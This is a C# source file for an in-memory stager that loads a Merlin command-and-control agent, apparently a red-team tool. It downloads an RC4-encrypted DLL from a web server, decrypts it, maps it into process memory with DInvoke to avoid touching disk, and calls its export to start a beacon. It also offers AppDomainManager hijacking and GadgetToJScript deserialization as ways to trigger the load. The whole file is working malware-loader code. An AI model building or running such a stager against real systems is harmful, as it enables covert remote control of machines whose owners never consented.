// // This is an unmanaged DInvoke stager for Merlin. // Compile it as .EXE or .DLL. // // Originally written by Istvan Toth (@an0n_r0), heavily extended by Mariusz Banach (@mgeeky) // using System; using System.Threading; using System.Net.Http; using System.Runtime.InteropServices; using System.Text; // // This is a custom AppDomainManager that will be used to invoke our unmanaged DLL // public sealed class RuntimeManager : AppDomainManager { public override void InitializeNewDomain(AppDomainSetup appDomainInfo) { ProgramNamespace.Program.Main(new string[] { }); } } namespace ProgramNamespace { // // Here we are defining "void func()" function type delegate to later pass it to DInvoke // [UnmanagedFunctionPointer(CallingConvention.StdCall)] public delegate void VoidFunc(); public class Program { // // DInvoke Unmanaged DLL stager, written by Istvan Toth (@an0n_r0) // https://twitter.com/an0n_r0/status/1667976841817096192 // public static void Main(string[] args) { string url = "http://localhost:8000/stage.enc"; // // RC4 decryption key. Encrypt your input Merlin DLL with: // https://gchq.github.io/CyberChef/#recipe=RC4(%7B'option':'UTF8','string':'abcd'%7D,'Latin1','Latin1') // string key = "abcd"; // // Step 1. Downloading our unmanaged DLL from the web server & then decrypting it // byte[] stage = (new HttpClient()).GetAsync(url).GetAwaiter().GetResult().Content.ReadAsByteArrayAsync().Result; var decrypted = rc4(stage, Encoding.ASCII.GetBytes(key)); // // Step 2. Using DInvoke to map unamanged DLL into the process, in-memory // DInvoke.Data.PE.PE_MANUAL_MAP moduleStage = DInvoke.ManualMap.Map.MapModuleToMemory(decrypted); // Alternatively, this is how we could have invoked its DllMain //DynamicInvoke.Generic.CallMappedDLLModule(moduleStage.PEINFO, moduleStage.ModuleBase); // // Step 3. Then we invoke its "void VoidFunc()" // https://github.com/MythicAgents/merlin/blob/main/Payload_Type/merlin/agent/dll.go#L48 // DInvoke.DynamicInvoke.Generic.CallMappedDLLModuleExport( moduleStage.PEINFO, moduleStage.ModuleBase, "VoidFunc", typeof(VoidFunc), new object[] { } ); // // Infinitely wait for beacon to wrap up. // Thread.Sleep(Timeout.Infinite); } // // Public constructor required by GadgetToJScript deserializer (should be choose to use one). // public Program() { Main(new string[] { }); } // // RC4 encryption/decryption implementation. Source: // https://github.com/manbeardgames/RC4/blob/master/RC4Cryptography/RC4.cs // public static byte[] rc4(byte[] data, byte[] key) { int[] S = new int[256]; for (int _ = 0; _ < 256; _++) { S[_] = _; } int[] T = new int[256]; if (key.Length == 256) { Buffer.BlockCopy(key, 0, T, 0, key.Length); } else { for (int _ = 0; _ < 256; _++) { T[_] = key[_ % key.Length]; } } int i = 0; int j = 0; for (i = 0; i < 256; i++) { j = (j + S[i] + T[i]) % 256; int temp = S[i]; S[i] = S[j]; S[j] = temp; } i = j = 0; byte[] result = new byte[data.Length]; for (int iteration = 0; iteration < data.Length; iteration++) { i = (i + 1) % 256; j = (j + S[i]) % 256; int temp = S[i]; S[i] = S[j]; S[j] = temp; int K = S[(S[i] + S[j]) % 256]; result[iteration] = Convert.ToByte(data[iteration] ^ K); } return result; } } }